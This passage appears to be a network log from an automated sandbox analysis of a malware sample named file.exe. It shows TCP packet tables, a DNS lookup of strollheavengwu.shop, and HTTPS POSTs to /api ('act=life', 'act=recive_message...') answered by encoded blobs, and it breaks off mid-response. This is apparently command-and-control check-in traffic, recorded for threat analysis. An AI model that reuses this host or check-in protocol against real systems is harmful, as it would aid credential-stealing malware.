Apr 21, 2024 08:40:56.302478075 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302488089 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302525997 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.302540064 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302573919 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.302620888 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.302629948 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.303096056 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.303152084 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.303301096 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.303320885 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.303333044 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.303339005 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.451040983 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.451071978 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.451168060 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.451586962 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.451600075 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.680138111 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.680392027 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.682257891 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.682275057 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.683294058 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.684576988 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.684815884 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.684860945 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:56.685048103 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:56.685059071 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:57.259744883 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:57.260042906 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:57.260127068 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:57.265261889 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:57.265280008 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:57.366952896 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:57.367031097 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:57.367161036 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:57.367533922 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:57.367571115 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:57.592240095 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:57.592360973 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:57.594927073 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:57.594958067 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:57.595371008 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:57.597120047 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:57.597244978 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:57.597290993 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:58.113697052 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:58.113995075 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:58.114200115 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.114200115 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.425010920 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.425054073 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:58.468126059 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.468188047 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:58.468395948 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.468919992 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.468954086 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:58.693725109 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:58.693864107 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.696031094 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.696060896 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:58.696512938 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:58.698195934 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.698376894 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.698422909 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:58.698513985 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:58.698529959 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:59.270539045 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:59.270771980 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:59.270853043 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:59.270948887 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:59.270988941 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:59.454746008 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:59.454777002 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:59.454854965 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:59.455377102 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:59.455393076 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:59.685863972 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:59.686084986 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:59.687382936 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:59.687398911 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:59.687896967 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 21, 2024 08:40:59.689340115 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:59.689340115 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:40:59.689388990 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:00.197623014 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:00.197900057 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:00.197997093 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:00.197997093 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:00.272962093 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:00.273014069 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:00.273092031 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:00.273508072 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:00.273525953 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:00.500636101 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:00.500929117 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:00.513854980 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:00.513880968 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:00.514739990 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:00.516256094 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:00.516361952 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:00.516379118 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.026119947 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.026381969 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.549020052 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.549099922 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.549218893 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.549576998 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.549658060 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.775405884 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.775649071 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.777261019 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.777290106 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.777710915 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.778959036 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.780168056 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.780253887 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.780389071 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.780445099 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.780627966 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.780693054 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.780890942 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.780956030 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.781157017 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.781208992 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.781464100 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.781507015 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.781526089 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.781555891 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.781733036 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.781778097 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.781826019 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.781857967 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.781898022 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.782016993 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.828248978 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.828775883 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.828852892 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.828923941 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.828975916 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.829015017 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.829034090 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:01.829133034 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:01.829157114 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:03.322901964 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:03.323225975 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 21, 2024 08:41:03.323317051 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 21, 2024 08:41:03.323318005 CEST	49737	443	192.168.2.4	172.67.163.209

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 08:40:54.590507984 CEST	58095	53	192.168.2.4	1.1.1.1
Apr 21, 2024 08:40:54.725392103 CEST	53	58095	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 21, 2024 08:40:54.590507984 CEST	192.168.2.4	1.1.1.1	0x6666	Standard query (0)	strollheavengwu.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 21, 2024 08:40:54.725392103 CEST	1.1.1.1	192.168.2.4	0x6666	No error (0)	strollheavengwu.shop		172.67.163.209	A (IP address)	IN (0x0001)	false
Apr 21, 2024 08:40:54.725392103 CEST	1.1.1.1	192.168.2.4	0x6666	No error (0)	strollheavengwu.shop		104.21.15.198	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

strollheavengwu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.163.209	443	6244	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 06:40:55 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: strollheavengwu.shop
2024-04-21 06:40:55 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-21 06:40:55 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 06:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i7sjtbpehg7abgipl501phq2bl; expires=Thu, 15-Aug-2024 00:27:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D8OidmqBrtccNQI2SdRUsMccoLPmTV8zHbcycx%2F%2F7sdoL7AM%2FeLA6B4zm37caPM2hpxsCMtO1M9GGbUZ%2FpLe3b8s1qfx6hHVI6LdaWGgUfl4x9d9BQTfWhYqLHWmPjvykEn7IqsWdA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b62a8bd8412d2-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 06:40:55 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-21 06:40:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.163.209	443	6244	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 06:40:55 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: strollheavengwu.shop
2024-04-21 06:40:55 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 36 4d 6b 30 4d 2d 2d 6b 65 79 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=P6Mk0M--key&j=default
2024-04-21 06:40:56 UTC	808	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 06:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pjqrj8ebotccfbohrdigpvemt3; expires=Thu, 15-Aug-2024 00:27:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cJmPAt0AtNo8uGTmq8a1ppeiK1qyTSCl67HFJT26Gd11YiMZyP%2Bjs779TBPdODaudMIY4pC%2Fa4OCUMVezQNqNpeGrhA8K%2BDSranE0OpvspT4WB9WHTbfaDGqssaEmPE62Tt4JIffwQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b62adbcab44df-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 06:40:56 UTC	561	IN	Data Raw: 33 39 65 63 0d 0a 2f 72 52 45 59 4b 37 4d 75 44 48 47 6d 55 72 35 6a 75 67 6a 69 4e 6e 5a 65 34 51 55 33 62 72 33 64 6d 4a 71 6d 2b 4f 45 6e 69 71 46 76 6b 31 43 32 4f 36 43 45 66 4b 31 51 50 43 73 6d 30 61 71 34 2f 6b 50 39 6d 47 34 6c 76 31 2f 51 41 76 2f 77 62 36 2b 54 4a 2f 59 4e 77 57 43 78 72 45 54 71 2b 46 6f 77 36 36 7a 4b 59 47 69 30 33 4b 4e 4e 72 6a 55 31 55 78 43 53 4f 79 47 35 76 74 53 69 74 45 71 45 38 65 6a 31 6e 47 72 2f 44 36 59 34 34 6c 51 34 2f 65 77 46 4b 59 34 31 37 50 2b 56 41 63 51 75 64 6d 6b 76 47 65 62 77 43 55 74 7a 37 2f 54 45 2b 71 54 51 2f 43 73 6a 56 65 71 34 2f 6c 5a 32 44 61 74 32 34 55 58 44 78 6e 48 77 62 37 6c 64 74 7a 64 4d 41 58 63 72 63 78 59 71 66 63 35 70 61 7a 53 46 62 6a 70 36 55 75 30 61 66 2b 77 2f 67 74 6f 59 Data Ascii: 39ec/rREYK7MuDHGmUr5jugjiNnZe4QU3br3dmJqm+OEniqFvk1C2O6CEfK1QPCsm0aq4/kP9mG4lv1/QAv/wb6+TJ/YNwWCxrETq+Fow66zKYGi03KNNrjU1UxCSOyG5vtSitEqE8ej1nGr/D6Y44lQ4/ewFKY417P+VAcQudmkvGebwCUtz7/TE+qTQ/CsjVeq4/lZ2Dat24UXDxnHwb7ldtzdMAXcrcxYqfc5pazSFbjp6Uu0af+w/gtoY
2024-04-21 06:40:56 UTC	1369	IN	Data Raw: 51 6c 6e 35 41 6a 4b 6a 55 55 71 6e 37 4f 70 50 6e 67 55 54 34 73 4c 49 55 36 33 61 79 30 70 6f 58 41 41 2f 7a 69 2b 6e 32 54 4a 48 62 49 41 4c 4d 37 70 51 37 7a 35 42 6f 6e 50 54 4b 47 61 6a 37 6d 42 7a 32 63 62 50 4f 31 79 35 41 59 4a 4b 65 71 4a 63 4b 33 72 35 4e 47 36 54 46 73 52 4f 6a 39 32 6a 44 72 73 70 4a 37 37 69 34 45 75 6c 31 74 39 4f 48 46 42 49 4f 39 49 54 30 2b 6b 32 53 33 43 55 51 78 71 44 63 55 4b 33 77 49 5a 37 72 6a 67 47 6b 30 39 42 79 70 6e 47 6e 6d 4d 31 57 51 43 6e 30 69 75 72 32 58 35 79 57 54 6d 6e 54 34 4c 49 34 76 5a 4e 44 38 4b 79 4e 54 61 72 6a 2b 56 6e 69 64 37 76 5a 6b 52 6f 4f 44 50 57 48 36 50 46 48 6d 74 77 6d 42 63 61 6d 30 6c 4b 70 38 43 65 62 36 59 64 46 37 4c 65 36 48 4b 59 34 31 37 50 2b 56 41 63 51 75 64 6d 6b 76 47 Data Ascii: Qln5AjKjUUqn7OpPngUT4sLIU63ay0poXAA/zi+n2TJHbIALM7pQ7z5BonPTKGaj7mBz2cbPO1y5AYJKeqJcK3r5NG6TFsROj92jDrspJ77i4Eul1t9OHFBIO9IT0+k2S3CUQxqDcUK3wIZ7rjgGk09BypnGnmM1WQCn0iur2X5yWTmnT4LI4vZND8KyNTarj+Vnid7vZkRoODPWH6PFHmtwmBcam0lKp8Ceb6YdF7Le6HKY417P+VAcQudmkvG
2024-04-21 06:40:56 UTC	1369	IN	Data Raw: 44 73 32 38 33 56 71 74 38 53 6d 56 34 34 46 4e 37 36 6d 77 46 75 35 35 76 74 57 59 48 77 51 49 75 63 2b 4f 6c 79 50 63 30 54 35 43 6c 4f 79 61 63 71 6e 30 4f 70 6a 39 79 48 54 70 74 62 55 65 38 44 62 58 73 34 70 61 61 47 50 67 36 59 32 58 43 4a 76 61 5a 6c 71 4f 37 74 74 66 71 50 6f 6e 6e 65 61 43 51 75 75 70 73 68 62 75 65 62 62 5a 6c 68 41 42 41 75 75 54 35 76 42 61 6b 4e 77 67 44 63 47 69 6d 68 33 4d 6b 45 50 62 36 35 49 42 73 76 6e 37 4d 2b 56 69 76 4e 4c 58 49 51 4d 47 39 34 62 77 76 43 44 33 79 57 68 71 70 37 65 79 4f 4d 2b 37 4c 35 65 73 30 67 4f 71 74 72 6f 52 34 47 53 77 31 5a 59 61 44 67 66 38 6a 75 37 38 53 4a 48 54 49 67 6e 48 72 64 64 58 74 76 45 6f 6b 2b 6d 4c 53 2b 44 37 39 58 47 4e 48 66 2f 66 6a 56 52 59 53 72 6d 77 38 66 63 4b 71 64 55 Data Ascii: Ds283Vqt8SmV44FN76mwFu55vtWYHwQIuc+OlyPc0T5ClOyacqn0Opj9yHTptbUe8DbXs4paaGPg6Y2XCJvaZlqO7ttfqPonneaCQuupshbuebbZlhABAuuT5vBakNwgDcGimh3MkEPb65IBsvn7M+VivNLXIQMG94bwvCD3yWhqp7eyOM+7L5es0gOqtroR4GSw1ZYaDgf8ju78SJHTIgnHrddXtvEok+mLS+D79XGNHf/fjVRYSrmw8fcKqdU
2024-04-21 06:40:56 UTC	1369	IN	Data Raw: 64 78 57 71 66 77 6a 6d 50 36 59 51 75 36 31 74 31 6d 6f 48 74 53 7a 31 52 4d 59 53 4b 48 44 70 74 6c 66 6e 38 59 67 41 59 7a 47 73 55 7a 71 6b 30 4f 43 68 4f 45 71 71 72 79 33 57 62 34 30 2f 39 69 62 47 41 73 50 38 6f 72 69 2b 45 69 52 33 53 67 4d 78 61 4c 53 58 36 50 70 4a 5a 37 6b 67 45 6a 76 74 37 59 61 39 48 57 2b 6d 4e 74 38 61 32 4f 35 68 76 36 38 45 4e 36 57 41 54 48 37 6a 5a 6f 37 7a 2b 52 6d 38 34 65 54 4b 59 48 51 2b 78 37 71 4e 75 65 61 31 52 55 49 44 2f 65 46 39 50 4a 61 6b 74 45 6d 42 4d 53 6d 33 56 2b 71 39 54 71 54 37 59 70 50 35 62 4f 79 48 65 64 79 75 39 53 53 56 45 35 67 6b 75 71 6d 2b 31 44 63 6a 6d 52 43 35 4b 33 41 53 65 62 56 49 35 76 72 6d 6c 66 78 2b 39 4e 79 2b 54 6a 58 73 34 78 38 61 32 4f 35 68 75 71 38 45 4e 36 57 49 67 6e 47 Data Ascii: dxWqfwjmP6YQu61t1moHtSz1RMYSKHDptlfn8YgAYzGsUzqk0OChOEqqry3Wb40/9ibGAsP8ori+EiR3SgMxaLSX6PpJZ7kgEjvt7Ya9HW+mNt8a2O5hv68EN6WATH7jZo7z+Rm84eTKYHQ+x7qNuea1RUID/eF9PJaktEmBMSm3V+q9TqT7YpP5bOyHedyu9SSVE5gkuqm+1DcjmRC5K3ASebVI5vrmlfx+9Ny+TjXs4x8a2O5huq8EN6WIgnG
2024-04-21 06:40:56 UTC	1369	IN	Data Raw: 2f 34 49 70 4c 76 68 6b 66 72 74 62 73 58 35 6a 62 78 73 50 35 2f 51 41 2f 68 77 62 36 2b 43 4c 7a 64 4d 42 66 50 76 74 78 55 71 4c 74 41 38 50 50 45 4b 59 47 69 30 33 4b 4e 4e 72 6a 55 31 55 78 43 53 50 65 54 34 76 31 49 6c 4e 38 71 43 63 53 38 33 56 53 76 39 53 61 51 36 49 5a 49 34 62 4b 2b 46 65 64 39 74 74 32 52 48 67 59 46 75 63 2b 4f 6c 79 50 63 30 54 35 43 6c 4f 79 61 66 36 66 30 49 39 75 45 34 56 36 6b 30 39 41 41 6a 68 33 55 6d 4a 49 59 51 46 43 37 77 65 48 30 51 4a 4c 56 49 41 6e 41 6f 74 74 61 6f 76 34 67 6e 4f 4f 4e 53 4f 32 37 76 51 76 68 65 37 62 59 6e 68 30 4b 44 50 69 4b 70 72 49 67 39 37 31 6d 42 64 54 75 67 68 48 6b 79 53 2b 4e 2f 49 6b 42 67 74 43 6b 56 34 30 65 31 4d 48 39 66 32 74 49 2f 6f 32 6d 70 41 72 63 32 7a 51 44 79 62 7a 65 58 Data Ascii: /4IpLvhkfrtbsX5jbxsP5/QA/hwb6+CLzdMBfPvtxUqLtA8PPEKYGi03KNNrjU1UxCSPeT4v1IlN8qCcS83VSv9SaQ6IZI4bK+Fed9tt2RHgYFuc+OlyPc0T5ClOyaf6f0I9uE4V6k09AAjh3UmJIYQFC7weH0QJLVIAnAottaov4gnOONSO27vQvhe7bYnh0KDPiKprIg971mBdTughHkyS+N/IkBgtCkV40e1MH9f2tI/o2mpArc2zQDybzeX
2024-04-21 06:40:56 UTC	1369	IN	Data Raw: 58 34 34 6c 4f 36 62 69 36 45 2f 52 6b 73 39 47 64 45 51 77 44 39 34 66 30 2b 6b 65 56 31 53 55 4c 79 36 62 57 57 61 66 38 61 4e 57 45 34 53 71 71 76 4b 4e 5a 76 6a 54 2f 2b 34 49 45 44 55 69 52 36 76 6d 79 49 50 66 50 54 6d 6d 6e 37 74 31 66 35 4b 4e 71 32 2b 53 48 53 65 43 2f 76 42 54 68 63 4c 62 4b 6e 42 45 4f 43 50 32 4b 36 66 70 4d 6e 39 59 30 42 4d 69 6d 32 56 36 70 39 53 75 66 72 4d 51 70 67 64 44 37 48 76 34 32 35 35 72 56 4a 67 30 47 34 6f 37 68 37 55 4c 63 76 6b 30 64 67 73 61 78 53 73 79 51 51 39 76 72 68 67 47 79 2b 66 73 64 36 47 53 30 32 5a 34 66 44 67 2f 32 68 4f 7a 38 52 35 6a 56 4b 41 6e 4e 72 64 4a 65 71 66 55 69 6b 75 57 4e 54 65 36 38 2b 31 65 4f 48 64 53 59 6b 67 78 41 55 4c 76 42 7a 64 31 6c 73 4e 45 38 51 71 54 46 78 52 33 4d 6b 44 Data Ascii: X44lO6bi6E/Rks9GdEQwD94f0+keV1SULy6bWWaf8aNWE4SqqvKNZvjT/+4IEDUiR6vmyIPfPTmmn7t1f5KNq2+SHSeC/vBThcLbKnBEOCP2K6fpMn9Y0BMim2V6p9SufrMQpgdD7Hv4255rVJg0G4o7h7ULcvk0dgsaxSsyQQ9vrhgGy+fsd6GS02Z4fDg/2hOz8R5jVKAnNrdJeqfUikuWNTe68+1eOHdSYkgxAULvBzd1lsNE8QqTFxR3MkD
2024-04-21 06:40:56 UTC	1369	IN	Data Raw: 51 76 79 32 71 31 6d 4f 48 61 43 57 2f 58 38 5a 59 4a 4c 71 70 76 74 45 33 49 35 6b 51 73 71 6e 33 46 53 69 39 54 71 65 36 6f 56 4f 34 37 4b 2f 45 65 56 32 75 39 79 53 45 51 4d 45 38 6f 62 6c 38 30 79 56 32 43 38 4e 6a 4f 43 79 4f 4d 2b 37 4c 34 4f 73 30 67 4f 71 6d 71 41 61 36 6e 76 2f 73 50 34 4c 54 6d 43 53 6d 49 36 58 49 39 7a 52 4b 6b 4b 55 37 4a 70 66 71 76 34 6f 6b 65 71 4f 52 4f 79 78 76 68 6e 74 64 62 44 63 6b 78 41 50 43 50 4b 49 35 2f 70 4e 6c 74 30 67 44 38 2b 6f 33 42 50 71 6b 30 50 77 72 49 31 5a 71 75 50 35 57 63 5a 74 73 74 53 53 56 47 68 6a 35 73 2b 4f 6c 31 48 30 76 55 31 43 79 36 4b 61 43 2b 61 37 49 35 66 6f 6a 55 48 6e 75 4c 4d 63 34 6e 79 36 32 4a 30 47 43 41 6a 2b 6b 2f 54 38 51 5a 6e 61 4a 51 4c 49 71 4e 4e 56 70 2f 39 6f 31 59 54 Data Ascii: 